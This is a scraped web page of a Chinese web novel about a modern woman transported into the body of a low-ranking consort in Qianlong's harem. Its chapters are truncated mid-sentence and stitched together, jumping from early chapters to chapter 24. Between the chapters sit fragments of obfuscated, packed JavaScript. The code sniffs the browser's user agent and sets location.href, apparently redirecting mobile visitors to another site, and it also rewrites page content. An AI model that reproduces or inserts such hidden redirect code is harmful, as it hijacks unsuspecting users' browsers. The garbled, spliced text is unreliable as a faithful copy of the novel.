《清穿之百年贵妃》 1. 又见清穿 [] 穿越过来,张百年努力了两个多月,总算是在给皇后请安的时候见到了乾隆皇帝的真容。 呦呵,这个乾隆皇帝看起来不怎么高啊,目测不到一米七,不过身材比例还不错。 张百年面带微笑,目视前方,完全让别人看不出她内心的吐槽,这也是她穿越过来后练出来的绝技,用以宣泄她时刻躁动着的现代灵魂,维持身心健康,以便在这座规矩森严、压抑无趣的宫廷中安安静静地装温驯小绵羊。 上首的帝后二人谈起来了今年的内务府选秀,说夏天要多放出一批宫女子,这次小选要多挑些合用的。 张百年在心里忍不住吐槽:哼,多选点美女,八旗选秀选不了,也不妨碍皇帝给自己年年进美人。 这两个多月的清穿生活,真的快要给张百年逼疯了,她现在的怨气比现代当打工人加班时还要大。 要不是还有一个能够回现代的可能性,张百年说不定真的会发疯。 只能说,看清穿小说一时爽,过清穿生活一脸血。 时间还要回溯到两个月前…… 张百年昏头昏脑地靠在床上,瞪着古香古色的小房间,穿着旗装的年轻宫女半跪在脚踏上喂她喝苦药。 好苦! 张百年的鼻子眼睛挤成一团,苦得她浑身发颤,终于清醒了过来。 原来她不是在做梦。 她,张百年,刚过完二十七岁的生日,加班熬夜后补觉,没想到一觉睡成了清穿。 小宫女轻声对她说:“昨晚您一直发着高烧,都烧得迷糊说胡话了,可要吓坏奴婢和双喜双福了。” 张百年现在的心绪十分混乱,也不知道该说什么,只能虚弱地点点头,用手拍拍这位不知名小宫女的胳膊。 “双喜到小厨房给您端燕窝银耳红枣粥去了。”小宫女高兴地说:“贵妃娘娘心善,听说小主病重了,特意吩咐人给小主您熬的呢。” 张百年继续点头,勉强凑出两句话:“娘娘仁慈,感激涕零。咳咳,我做了好多的梦,感觉像过了大半年。咳咳咳,我昏睡了多久,现在是哪年哪月了?” 张百年急需打探出现在的年月,也好确定她这个俗套的清穿到底要攻略哪位皇帝。 小宫女笑道:“小主这次真是遭了大罪,您都病糊涂了,今天是乾隆三年三月初三,您昏睡了一天半。” 乾隆三年! 张百年知道的清朝历史知识仅限于高中历史课本、各种清穿小说和几部热播的清宫剧。 众所周知,古装电视剧和清穿小说不能当成正史看的,魔改是很严重的,谁全信谁悲催;至于高中历史课本,讲清朝的康乾盛世、尼布楚条约、鸦片战争、南京条约,就是很少讲清朝后宫。 由此可知,悲剧清穿的当事人张百年小姐,文科出身又是非历史专业,落在乾隆的后宫中,穿越优势并不明显。 这时,一个圆脸宫女端着食盒进来了。 喂药宫女招呼她:“双喜,把粥盛出来,小主喝完药了,正好喝甜粥把嘴里的苦味压下去。” 圆脸宫女双喜答应了一声,手脚麻利地盛了一小碗粥,送到床边。她喜气洋洋地汇报道:“贵妃娘娘听说咱们小主醒了,特意又赏赐了人参和蜂蜜,说给咱们小主补身子用,还吩咐了小厨房,说要他们精心伺候着,这几天都要做滋补的药膳粥,有什么没有的,就从娘娘的份例里出。” 张百年现在还没有完全进入状态,人还处于半宕机的状态,听完双喜这段话,她见喂药宫女和双喜都眼巴巴地看着她,张百年只能压榨自身本就没有多少的演技,赶紧调整出感动的模样,说贵妃娘娘心善,她感恩戴德,病好后一定要去谢恩。 她的反应总算是符合了清宫的行为逻辑,两个宫女跟着附和,称颂贵妃娘娘的鸿恩。 张百年生怕原主身边的贴身宫女发现异常,喝完粥立马说累,缩回被窝里装睡。 原本,她还期待着装睡的时候可以偷听两个小宫女的闲谈,多知道些情报消息,结果清宫的宫女职业素质真是过硬,主子不问话,她们也不说话,就是默默干活,一点动静都没有。 无奈之下,张百年只能闭着眼回味刚才吃下的高贵妃小厨房出品的燕窝银耳红枣粥,真是十分美味,优秀的甜品,甜而不腻,软软糯糯,比现代吃过的那些高价甜品好吃多了。 就是太少了点,那小碗是真小,要不是宫女拿着配套的小勺一口一口挖着喂她吃,那一小碗还不够她一口干的呢。 只是原主的胃口是真的小,就那袖珍的一小小碗粥,喝完就饱了。 张百年努力在头脑里寻找原主的回忆,她现在真的是两眼一抹黑,什么都不知道,就这个配置让她怎么活下去啊! 突然,一阵剧烈的头痛袭来,疼得张百年浑身冒汗,但她咬牙挺住了,没有发出声响。在这阵断断续续的头痛中,张百年断断续续地接收了原主的部分记忆。 原主姓张,只有个乳名叫巧儿,因为是乞巧节那天出生的,汉族人,出身内务府上三旗包衣,是家里的长女。张家没什么本事,也捞不到什么好差事,所以也没什么钱,只是家里人口多,四代同堂,全挤在一个院子里。 以张百年的视角来看,原主张巧儿的生活乏善可陈,虽然能吃饱穿暖,但也被管得跟个二木头似的,从小就没怎么玩过,刚懂事就要帮着家里照看底下的弟弟妹妹,筷子还拿不稳就开始学绣活。 虽说清朝在旗的女子地位能高点,但张家就是那种屁本事没有家里规矩贼大的包衣家族,家里的女性轻易不许出门,天天在家干活。 张巧儿十三岁时通过内务府选秀入宫成了宫女,先在内务府学规矩,后来因为长得好看,性情温顺,规矩学得又好,因而被分到了钟粹宫高贵妃手下,成为官女子的备选。 皇后和高位妃嫔身边都有这样的美貌宫女,方便皇帝挑选合心意的美女,充实后宫。 张巧儿在家里就是被规矩养大的,从小就听话懂事能干活,又谨守规矩本分,自然能让上位者满意。 于是乎,高贵妃抬举了张巧儿,乾隆皇帝也看上了张巧儿,张巧儿顺理成章地变成了官女子。 成为官女子的张巧儿,还是柔顺守规矩的模样,侍奉高贵妃时更加尽心尽力,心里对高贵妃只有感激,对皇帝全是崇敬。 半年后,乾隆皇帝和高贵妃这两位领导对她的工作都很满意,张巧儿从官女子升为了裕答应又升为了裕常在,住进了钟粹宫后院的东侧殿,有了三个宫女的伺候。 这对张巧儿来说就是人生中最辉煌的时刻了,只可惜她命不好,前些日天气骤变,让她染了风寒,直接一命呜呼,穿越而来的张百年接手了这个摊子。 张百年捂着还在跳疼的脑门,盘点这位裕常在的家底。 2. 跪下唱征服 《清穿之百年贵妃》全本免费阅读 [] 一个小常在是没有办法装病的。 张百年只能认命,赶紧趁着这两天宝贵的养病时间,抓紧想办法提高演技。 在偶尔起身下床去方便的那几步路中,张百年发现了一个“好消息”,那就是身体反应还保留着原主的习惯,走道站立时还是下意识地含胸垂头,根本不用张安尧再去刻意记着保持。 张百年苦笑,为原主,更为自己。 在贴身宫女面前不怕露馅,张百年只要少说话就行了,少说少错,反正她是小主,只要没有什么太出格的言行举动,这些伺候她的宫女也不能说什么。 最紧要的还是病好后去高贵妃跟前的谢恩,之后她还要照着原主的习惯,没事就去高贵妃跟前像个宫女一样小意伺候着。 在后宫里,和原主关系最紧密的就是高贵妃了,其他的妃嫔和原主就是点头之交,平时连走动都很少。 至于乾隆皇帝那边,更好应付一些,乾隆刚登基三年,正是忙的时候,在后宫女子身上花费的时间不多,对原主这种小妃嫔更是没有多少印象,不过是一时看上了原主的年轻貌美,并没有太多的交流。 张百年绷紧了弦,不能让贵妃发现裕常在变了,否则,她的下场会很惨。 试想一下,封建社会的贵妃娘娘,突然发现她一手提拔起来的听话常在变了性子,不再柔顺听话,这个贵妃娘娘会怎么想怎么做。 张百年硬着头皮,偷偷在熄灯后,躲在床帐里安静地练习跪拜大礼,再无声地说出谢恩的台词。 膝盖好难受,心里更难受。 想她张百年长这么大,也没跪过谁,天地父母一个都没拜过,穿个越,却要给一堆不相干的人磕头谢恩,真是太难受了。 她把头埋在枕头下,平复心情,尽量疏导自己,以演戏的心态对待穿越。 张百年对自己的大脑催眠:你现在是演员了,你这是在工作,在清朝后宫工作,带编制的,压根不能跳槽,所以要好好表现,争取升职加薪。 她有理智,很清醒,现在的情况无法逃避,哪怕再不适应,也要先活下去,活下去才有希望,所以不能崩溃。 两天的时间一晃而过。 第三天的清晨,张百年顶着小两把头,对着铜镜深呼吸,看着铜镜里娇嫩白皙又陌生的鹅蛋小脸,心如捶鼓。 “小主,天色不晚了,咱们这就去给娘娘请安吧。”双乐从双福手上接过披风,等着给小主系上。 “嗯。”张百年心情沉重,走出卧房,第一次迈出了东配殿的门槛。 走到前院正殿门口,守门的小太监给张百年见礼,里面一个宫女正巧走出来,给张百年请安,笑着道:“我们娘娘正念叨着常在呢,常在如今可是大好了,真是佛祖保佑呢。” 原主在钟粹宫当了一年多的宫女,和高贵妃身边的宫女自然都相熟,平时又是个能干活还不多话的,当了常在也不拿架子,故而和这些宫女的关系都不错。 张百年和这个二等宫女春兰寒暄两句,春兰进殿通报,片刻后出来领着张百年进了内殿。 高贵妃正在喝杏仁茶吃点心,张百年顺着原主的身体习惯,垂头含胸低目地走进来,硬着头皮给一个陌生人跪下谢恩。 “奴婢叩谢娘娘大恩,奴婢身子不中用,劳烦娘娘体恤关怀,多次为奴婢请来太医,赏下那么多好东西,奴婢无以为报,只能从今日起更忠心地伺候您,长长久久地服侍您,方能回报万中之一。” 额头贴着地板,张百年在心里说服自己,在哪个山头唱哪儿的歌,在这里磕头是再正常不过的事了,别人想给高贵妃磕头还磕不上呢。 再者说了,高贵妃对原主不错,自己穿过来也吃了高贵妃赏下来的燕窝人参和蜂蜜,滴水之恩,当涌泉相报,不论是为了原主还是为了自己,高贵妃的大腿必须抱紧了,这头磕得很值。 高贵妃笑着点头,她施恩自然是她的心善,但也要下边的人懂得感恩不是。相比她宫里的其他小妃嫔,裕常在老实本分又勤谨,从来没有多余的心思,这样的人放在身边也放心。 “起来吧,你也是刚好,做甚行这般大礼,本宫这里也不讲这些虚礼。”高贵妃让她的宫女把张百年扶起来,再赐座赏点心。 张百年不敢懈怠,赶紧照着原主的记忆,战战兢兢地行礼谢恩,侧坐在椅子上,肌肉紧绷着,也不敢坐实。 高贵妃又说了几句体面话,同住在钟粹宫后院的喜答应和两个官女子也来给高贵妃请安了。 这时也要到给中宫皇后请安的时辰了,高贵妃起身,张安尧这个裕常在跟在后面,喜答应再落后她半步,两个官女子落在最后面,出了钟粹宫的大门。 两个官女子没资格给皇后娘娘请安,只是恭送出钟粹门,目送高贵妃一行人的背影。 在清朝的后宫中,只有嫔以上的主位娘娘才算是正经皇妾,贵人还算可以,在后宫中算是初有名号,底下的常在、答应连妾室都算不上,照着外面大家族的叫法,顶多算是个通房大丫鬟,至于官女子,就更悲催了,待遇只比宫女好上一丁点,身边连个伺候的宫女都没有,本身还要干些宫女的活计。 张百年跟在贵妃的肩與后面,走得十分辛苦,但也要垂头咬牙忍着,不能露出丝毫勉强。 从东六宫的钟粹宫走到西六宫的长春宫,这路程可不短,这个身体又是刚刚病愈,还有些发虚,走道也就是五分钟的量,剩下的时间主要靠张百年的意志力在撑着。 好在长春宫的茶水不错,张百年坐在末尾靠门的地方,小口小口抿着喝茶,耳朵竖起来听着上首几位娘娘说话。 与宫斗剧、清穿文里写的不同,妃嫔们的谈话气氛还不错,很少有夹枪带棒、拈酸吃醋的,大家都是体面人,在外面时都要讲究个和和气气。 高贵妃先和娴妃客气了一句,夸娴妃新得的玉簪成色好,娴妃也客气回来,说 3. 内卷 《清穿之百年贵妃》全本免费阅读 [] 说起乾隆后宫美人的身高,张百年不得不为清朝女性鞠一把同情泪。 随着理学的兴起,世人对女子的束缚和苛责越来越多,汉唐时的开放审美也异化成了明清时对女子贞静柔弱的畸形审美。 更有清朝时汉人阶层所谓的“男降女不降”,把女子的缠足上升到了民族脸面的程度,小脚越缠越小,直接变态到三寸金莲的地步。 要张百年说,这真是推得一手好锅,男的怕死不敢不剃头易服,又自觉得失了体面,就把面子放在了女人的脚上,自我安慰,心安理得地来当清朝皇帝的奴才。 这和一亡国就赖什么妲己褒姒的论调如出一辙。 缠足缠到这个地步,富裕家庭的女性从几岁开始就行动不便,脚的骨骼被折断,连带着身体发育不良,又没有活动量,自然是长不高了。再外加上刻意地追求瘦弱少吃,清朝富裕家庭的年轻女性大多是又瘦又矮,很符合清朝男人的病态审美。 就算是正宗的满族旗人也受了影响,虽说不至于缠足,但随着时间的推移,对女子的要求也是往贞静柔弱这一挂上去靠了。 更不用提皇帝的示范作用了,康熙晚年就很喜欢江南的汉人小脚美女,雍正最喜欢的也是汉军旗出身的温柔妃子年氏,乾隆现在后宫里面的妃嫔更是走娇小柔美的路线。 上有所好,下必甚焉。 现在宫里宫外都是这个调调,张百年想起原主家里的堂妹亲妹,个个都是从小被家里勒住了,吃得少动得少长得小。 张百年的脑子里有一万头羊驼在奔驰,上首的富察皇后已经结束了讲话,宣布请安结束。 众妃嫔轻身行礼,富察皇后还要赶着去给皇太后请安。 张百年跟在高贵妃身后,在妃嫔里排第一批走出长春宫。 娴妃紧跟其后,她宫里的小妃嫔也跟在她的身后。 回钟粹宫的路还是一样的远,张百年却觉得比来时的路好走,脚步轻快不少。 她想着终于完成了谢恩和请安的任务,紧绷的神经不再发疼,清穿的生活仿佛也能过下去了。 进了钟粹宫的大门,高贵妃对张百年和喜答应吩咐道:“你们也自去用早膳吧,不用来我这里伺候了。” 张百年和喜答应这才停住了脚,等着高贵妃进了正殿,才回了后院住处。 张百年早就饿了,进了东配殿就闻到了米香味,只是还不能立刻吃饭,她要先把这一身出门见人的好衣裳换下去,穿上家常七成新的宫装。 在双乐的服侍下,换衣服还是很快的。 张百年坐在饭桌前,看桌上摆着皮蛋瘦肉粥,两样饽饽,两盘子炒青菜,一碗炖豆腐,一碗炖肉,四种酱菜。 这样的早餐在平常人家肯定算是丰盛的了,不过在后宫妃嫔中间,只能算是下等吃食了。 张百年慢慢吃着,想要多吃点好养养身体,奈何这胃也忒小了。 她不敢多吃太多,只是多吃了一块炖肉和两勺豆腐,多补充点蛋白质,这样对刚病愈的身体也有好处。 张百年吃完了,桌上还剩了不少的饭菜,这些剩下来的饭菜也不会浪费,她屋里的三个宫女就吃这剩饭。 别觉得吃剩饭恶心,这可是贴身宫女才有的体面,能吃到主子的份例菜, 4. 说闲话 《清穿之百年贵妃》全本免费阅读 [] 张百年接过绣棚,犹豫半天,还是没动作。 双乐觉得奇怪,便问道:“小主可是觉得还头痛?” 张百年倒是想装头疼把刺绣这事给混过去,可这里不是现代职场,很多事情不想干也要干。 她逃的了今日也躲不过明日,总要想办法来面对。 张百年找了个借口:“这病了许多天,手都生了,不敢直接绣这个,怕绣得不好再毁了之前的心血。” “我先绣个手帕来练练手。” 双乐从旁边找出块手帕子递给常在,一点废话都没有。 张百年接过来,吩咐双乐出去,她这里不用伺候,再回想起原主十多年的刺绣生涯,打算先来个简单的,在手帕的角落里绣荷花荷叶。 刚开始还有点生疏,穿针引线时有点笨手笨脚的,好在卧房里没人,谁也不知道。 张百年沉心静气地照着原主的记忆练刺绣,从慢到快,从生到熟,总算是借着这原主的身体记忆熟悉了刺绣。 练了半个时辰,张百年才敢停下手歇歇。 脖子已经发僵了,手腕子也发酸,她起身在卧房里走几步散散,心想着古代的绣娘也不容易,天天低头做活,身上肯定是要落下病。 有贺礼压着,张百年不敢松懈,稍松快一会儿,就又捡起绣棚来,继续往下练,争取快点把原主的绣工都给捡起来。 这一练就是一头午,到了吃点心的时候,双乐端着两盘子点心进来了。 张百年闻到白糖和糯米混在一起的香甜味,才感觉肚子有点空了。 双乐递给她一双竹筷,她用筷子夹着糯米豆沙糕,小口细品,滋味不错。 另一盘子的点心就是最普通的白糖糕了,因为是当日收工现做出来的,所以张百年吃起来也觉得别有一番味道。 只是双乐觉得有些简薄,她家小主都是常在了,怎么膳房那边还拿这最好做的白糖糕打发人。 只是她也不好在小主跟前说这些,没得让小主也跟着生气。 张百年吃了三块点心,喝了温水,就想起来活动活动,只是再一想,她也没处去活动。 她现在不能出去惹是非,能怎么缩着就怎么缩着才好,所以她的走走就是从卧房走到外间,在外间里慢慢走上两圈。 双乐陪侍在小主身边,交待双福进屋去收拾床榻,马上要到歇午觉的时辰了。 张百年打算抓紧白天有阳光的时候多练刺绣,就叫住了双乐双福,说她今儿不睡午觉了。 她就这么走着也没意思,索性把三个宫女都叫到身边,问她们今天钟粹宫里可有什么新闻。 这三个宫女里,双乐是个稳重的性格,平时话不多,还一直守在张百年身前,所以知道的消息多数是双喜和双福听说来的。 双喜圆圆的脸蛋带上了说八卦时的神采,她压低声音说:“正殿那边的春柳姐姐和夏荷发了火,因为夏荷越过她去娘娘跟前卖好,春兰姐姐也帮着春柳姐姐,要给夏荷立规矩呢!” 双福小声说:“哎呀,这夏荷真是没有规矩,一个三等宫女,哪能越过上面的姐姐直接去娘娘跟前卖好,我看她在咱们钟粹宫也待不住了。” “也不一定。”双喜的声音更小了,听八卦的几个人都凑得更近了一点。“夏荷同咱们宫里管事太监的大徒弟走得近,听说好像是认了干姐弟,要不然夏荷怎么敢轻易得罪顶上的姐姐。” 双乐听到这里,才说了第一句话:“咱们宫的管事大太监何宝正和他大徒弟好像是外八路的亲戚呢,这么一说,那夏荷也是何大公公这边的人了。” 双喜瞪大了眼睛,听到这样的八卦,感到很兴奋。“我的个乖乖啊,平时还真没看出来,夏荷这丫头竟有这样的靠山。” 张百年小声说:“宫里让认干亲吗?” 三个宫女对视一眼,还是双乐贴到张百年耳边,用更小的气音说:“宫女都是包衣家里有姓有名的好姑娘,按理说太监卑贱,是不能认干亲,但宫里面办事还是要靠太监,这种事黑不提白不提的,有的人就会这样拉帮结派寻方便。” 双福又说了个消息:“柳官女子在巴结娘娘身边的秋华姐姐和秋实姐姐呢,听说给她们一人做了一双最舒服的厚软底鞋,每双鞋都绣了精美 5. 赏赐 《清穿之百年贵妃》全本免费阅读 [] 说完这番闲话,张百年又回到卧房里练刺绣去了,这次她绣了个复杂的花样,又绣了一只喜鹊。 张百年摸着绣出来的喜鹊,感叹着原主的手真是巧。 这下,她心里的一块大石头才总算是落了地,高贵妃的贺礼有着落了,手里那为数不多的宫分银子总算是能保住了。 说到手里的银钱,张百年就要叹气。正月里,后宫的庆祝活动多,迎来送往的都要花钱,还要给三个宫女和膳房来上一笔打赏,再有生病时花费的钱,这一年还没过完春天,就已经花出去了二十九两银子。 去掉花出去,加上原主前两年咬牙攒出来的一点钱,张百年手上现在统共就只有三十一两五钱银子。 张百年想着心事时,双喜进屋启禀道:“贵妃娘娘身边的春柳姐姐过来了,来送娘娘给您的赏赐。” 张百年不敢拿大,还和原主一样,起身来迎贵妃身边的宫女。 春柳笑着给张百年行了一礼,张百年赶紧扶住她,学着记忆里原主的模样,不太熟练地嗔怪道:“有外人在时做做样子也就罢了,现在来我卧房了,为何还这样和我外道。” 春柳就喜欢裕常在这种始终如一的人,当了小主也没有抖起来。她说:“礼不可废嘛。这是娘娘特意赏给您的早春茶,这一罐是龙井,这一罐是碧螺春,都是立春那天现采现做的,快马加鞭赶着送进宫来,最新鲜不过。” 张百年笑道:“多谢娘娘赏赐,我一会儿就去正殿谢娘娘赏赐。” 春柳和裕常在关系更好些,就提点了一句:“娘娘正说无聊呢,要找人来打叶子牌,您去了正好也能凑上一桌。” 张百年现在不想多出去和人接触,但她知道春柳这话的好意,也很感激她,特意找出原主精心绣的一个顶精美的香囊送给春柳做答谢。 春柳很喜欢这个香囊,这样送礼收礼显得她和裕常在关系亲厚,又不强调身份差别,比收到几两银子的打赏更令她欢喜。 两人又闲话几句,春柳就起身告退,说她还要去给对面的喜答应送一罐子茶去。 张百年看着满意离开的春柳,心里不由得佩服起原主待人处事的智慧。 原主张巧儿的身份变动这么大,却能泰然处之,半点没乱,对待原本的宫女同事从不拿乔,一如既往的亲厚,还是发自内心的,有时需要打赏这些前同事,也不拿银子打发,而是送精美刺绣的香囊手帕荷包,既全了体面也保了情面。 张百年打开罐子,清新的茶香萦绕鼻尖,她让双乐给她沏上一壶茶,慢慢品茶。 说起来,常在的宫分里是没有茶叶的,原主平时喝的茶叶都是靠皇后和贵妃的赏赐。 张百年用货真价实的早春茶给自己加油打气,喝完半盏茶,穿戴好外出的衣裳首饰,带着双乐去了正殿。 高贵妃果然在打叶子牌,见张百年过来,就让牌桌上一个宫女下去,喊她替上来玩。 张百年照着原主的记忆出牌,并没有刻意给高贵妃放水。常和高贵妃玩牌的人都知道,高贵妃就喜欢和打牌认真的人玩,有输有赢的,这样才有意思嘛。 刚打上牌,喜答应也过来谢恩了,高贵妃和她说了两句话,就把她给打发走了。 喜答应也想在高贵妃的牌桌上凑趣,奈何高贵妃不爱和她打牌,只能退了出来。她越想越气,心里面抱怨着裕常在,觉得裕常在最会掐尖卖好讨贵妃娘娘的喜欢,把她给比了下去。 喜答应没有办法,只能捡起针线,花更大的精力来绣给贵妃娘娘的生辰贺礼,巴望着娘娘能够喜欢她的绣品,进而多抬举她。 张百年不知道喜答应的想法,倘若她知道了,只会觉得这人无理取闹,高贵妃喜欢谁不喜欢谁,她说了也不算,喜答应不从根本找原因,一味只怨她,真是愚蠢。 她其实压根就不想来贵妃的牌桌上凑趣,要不是不行,她真想不出屋,不来面对这个后宫生活。 就这么打了半个多时辰,高贵妃有赢有输,张百年也是有输有赢,各自都得了乐趣。 高贵妃为人大 6. 迟到的惊喜 《清穿之百年贵妃》全本免费阅读 [] 正殿门口,两个官女子到的更早,给张百年和喜答应见礼。 和早上请安的流程一样,张百年跟着高贵妃走到长春宫,后宫众妃嫔一齐给富察皇后请安。 张百年看了一圈,发现白贵人不在,心里便有了数,知道乾隆皇帝今日翻的是白贵人的绿头牌。 晚上的请安更像是在走流程,众妃嫔都没有什么谈性,上首的富察皇后好像也有点累了,没有多说话,不一会儿就叫散了。 高贵妃也没有了下午打牌时的好心情,一进钟粹宫的大门,就叫了散。 “这个白贵人,当真是盛宠。”关紧门窗,高贵妃和心腹宫女说话:“比当初的嘉嫔还要得宠。” 秋华温温柔柔地细语劝道:“不过是一时新鲜,皇上和娘娘的情谊才深呐,您的福气绵长,白贵人之流羡慕都羡慕不来。” “那是自然了。”高贵妃倒不是真吃醋,吃白贵人这类人的醋,她都嫌磕碜,只是一想到有四天没见过皇上了,她心里多少有点吃味。 秋华揣度着贵妃的心意,提议道:“娘娘不是给皇上新做了一个香囊,不如明天送到御前去。” 高贵妃心气不大顺,气咻咻地说:“那个香囊我才不送呐,我要自己留着用。” 后院里,西配殿的喜答应点灯熬油地做绣活,耳房里挤着的两个官女子也是如此。张百年却不会这样为难她的眼睛和脖颈,吃过晚点早早上床,享受着头部按摩。 要张百年说,清朝后妃的生活真是无趣,与后世的猜想能差出十万八千里去,天天起得和鸡一样早,吃得东西也要受管束,干什么都不畅快,她完全没有享受到古代统治阶级的奢侈生活。 只有这晚间的按摩,让张百年舒服得浑身冒泡。 用热乎乎的香汤泡手泡脚,双喜再拿出香膏给张百年的手脚涂抹匀净,按摩至完全吸收。 这香汤香膏都是内务府专门调配出来的,特供后妃们日常保养用。张百年能分到手的,就是最普通的货色,到了嫔啊妃啊贵妃啊这种品级,这些香汤香膏中更是要多添许多珍贵的保养品。 用香膏护养过手脚还不算完,重头戏还在后面,妃嫔的头脸最要紧,每天仔细呵护不能有半点疏忽。 双福用热手巾为张百年敷脸,等温度下来点,就立刻换下用新的热手巾继续敷着。 敷够了一盏茶的时间,张百年用干手巾把脸上的水轻按着吸掉,躺在塌上,双福用小木勺舀出玉颜霜,仔细涂匀按摩,再把剩下的玉颜霜抹到张百年的脖子上。 这些步骤还不算完,双福拿出一套刻着桃花的梳子篦子,先用宽齿的梳子按摩头皮通头,再逐渐换用齿距更细的来通头,直到把这又长又厚的黑发梳顺直了,再往发梢处抹上茉莉味的香油,继续细梳。 通头真舒服啊!经过专业培训的宫女小姐姐的服务真舒服啊! 张百年享受着,也同时想到了她现在的身份,如此“享受”,说到底也是为了服务皇帝。 什么温柔淑贤,女子四德,说到底,在封建社会最看重的还是女子的容貌,其他的不过是添头而已。 头一次踏出钟粹宫的大门,她循着妃嫔们日常的规矩生活一整天,提心吊胆,一步不敢迈错,半个字不敢多说,向别人低头行礼请安成常态,这可把随意生活惯了的现代女性累了个够呛。 张百年停下了思绪,不再想这些有的没的,反正想也没用,现实就是这么个现实,情况就是这么个情况,还是让她先享受了宫女的按摩,沉沉睡去梦乡吧,也许还能在梦里回到现代。 第二天,高贵妃的嘴还硬着,可秋华当着她的面把香囊放进锦盒里拿出去时,高贵妃也没叫住。秋华抿着嘴笑,低头出了正殿大门,让钟粹宫的首领太监将锦盒送到养心殿去。 下午时,敬事房传来消息,皇上翻了贵妃娘娘的牌子,请娘娘早些过去侍膳。 前院热闹着,洋洋喜气铺满钟粹宫,张百年在后院的东配殿都能感受到前院的喜庆劲。 张百年没什么想法,应付日常生活已经耗费了她全部的心神。 *
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11369928|118187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她现在的健康值才勉强及格,身体偏弱,再熬夜就是作死了。 想着即将到手的技能书,张百年提起了精神,身上也有了点力气,终于是咬牙走到了长春宫。 昨天半夜后宫里出事了。 在畅春园遭到贬斥的丽答应满心苦愁悔恨,失了规矩方寸,成日里茶饭不思,以泪洗面,晚上也睡不着觉。就这么过了半个多月,丽答应终于支撑不住了,彻底病了,身下出血不止。等到太医赶来了,才发现是怀胎不足两月,母体虚弱,导致了小产。 富察皇后早上一醒来就听说了这个坏消息,赶紧派人向皇帝和太后那边禀报,事关皇家血脉,富察皇后也不敢擅作主张。 太后震怒,下令处罚丽答应身边伺候的宫人,同时又派人去训了纯妃,责备她身为一宫主位,没有管理好下面的妃嫔,罚两个月的宫俸,以儆效尤。 乾隆帝对这个再犯错的丽答应也是很生气,直接下了口谕,由答应再降为官女子。 富察皇后善体上意,自然也很重视这件事,所以今日请安时的气氛格外的严肃。 张百年自然感受到了,板正地坐在后面,低头认真聆听着六宫之主的训话。 “……皇家妃嫔,为天下女子的表率,必要性情柔顺,贞静贤淑,安分守时。妃嫔的本分,便是要保养好身子,为皇室开枝散叶、延绵子嗣。幽闲贞静,守节整齐,行己有耻,动静有法,是谓妇德。原先的丽答应,移了性情,失了妇德,忘了宫规,肆意妄为,自损身体,伤害了天家血脉,罪无可赦!” 富察皇后正颜厉色,再三训诫妃嫔:“望尔等以此为戒,恪守妇德,严守宫规,沉稳有度,保养好身子,为皇家繁衍子嗣。” 妃嫔们起身下拜,谨记皇后教诲。 出了这么一桩事,今天的“晨会”直接开过了半个小时,张百年现在也顾不上感慨皇权的冷酷,只是盯着任务栏看,累计时长已经来到了五十七分钟。 可惜,富察皇后不再教训她们了,张百年看着最后剩下来的三两分钟,真恨不得冲回去找骂。 作者有话要说: 呀,是谁白天一直游手好闲,现在熬着大夜更新的啊?啊啊啊,我想给我自己两个大比兜【点个收藏吧,不要忘了收藏哟!】 24. 平静的危机 纯妃脸色不好,从长春宫出来后,和贵妃、娴妃诉苦道:“也是我的疏忽,没有天天盯着那位,可我这几日确实是无暇他顾,而那位娇小姐又告了病,我请了太医给她瞧,又派了身边人去看她宽慰他赏她补品,结果竟成了这样。” 贵妃和娴妃倒是能与纯妃共情,她们都是一宫主位,平时管理手下的这些小妃嫔,那是轻不得重不得,就怕里面有那包藏祸心的或是糊涂油蒙心的人儿,再连累了她们一世清白的好声名。 娴妃温言安慰纯妃:“这事也是赶上了,你平时的人品,皇上和娘娘心里都是有数的,我们也都知道,你不是那等苛责下面妃嫔的人,是那个丽答应自己糊涂不守宫规妇道,才伤了这天大的福分。” 高贵妃也怕自己宫里出现这么个糊涂混账人,对纯妃也挺同情,“是啊,你是个好的,这事说到底还是那个被贬为官女子的人愚蠢。你就别难受了,还是先回去把那个蠢人住过的屋子先打扫干净,再用上好的熏香好好熏熏去晦气吧。” 三位娘娘作了别,张百年跟着高贵妃回了钟粹宫。 有了今儿这事,也给高贵妃提了个醒,她把人都叫到正殿,神情严肃地训了话,给手底下的常在答应和官女子们紧紧弦儿。 视角拉高,这个时候,所有住了主位娘娘的宫里都是这样,教训底下的妃嫔,怕她们不懂事给自己惹祸。 张百年低头听训,最后还要跪下来表忠心,这一套流程走下来,真是心累又难受。 回到自己的居所,张百年没了用早膳的胃口,靠坐在踏上,用汤婆子暖着膝盖。 这几个月天天跪来跪去的,张百年跪得都有点麻木了,也许这样才能更好地生存,可她又偏不想顺应这样的习惯。 生在现代的人,哪怕只是个最普通没本事的女青年,也可以拥有独立自由的灵魂,不像清朝人,哪怕贵为皇子公主和妃嫔,也总要在皇权面前下跪磕头。 今天的事情,给张百年敲醒了警钟,别人是不把她当人看的,但她要永远爱护自己的人性。 原先的丽常在,现在的戴官女子,因为失宠降级而伤心,这本是人之常情,哪怕后来因为这事而小产,也是情有可原,就算再不高兴,也不应该在这当口再进行处罚,把一个生病刚流产的女人从原本住的地方给扔出去,这是要逼死她的。 可在皇权面前,这些都不重要,甚至想这些话的人都是大逆不道的。上位者用不着想下位者的死活,张百年这样的低位妃嫔,在后宫里如草芥一般,多一个不多,少一个不少。 张百年随意吃了两口粥,默默然地想着自己,想着皇后和贵妃教训人的话。 封建礼教是吃人的,张百年现在深刻地理解了这句话的含义。 刚才在长春宫里面,张百年对这件事的感受还很模糊,当时她一心盯着系统的任务,没有深想,也分不出同情的心思,只知道这事和她没多少关系,她只要随着别人听训就可以了。 可当她从长春宫出来,听到贵妃、纯妃和娴妃三人的对话,她才惊觉到自己麻木的心,和其他人那更麻木冷硬的心。 怎么会事不关己?高贵妃对这件事的评论和回来后的训话,张百年从中听出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 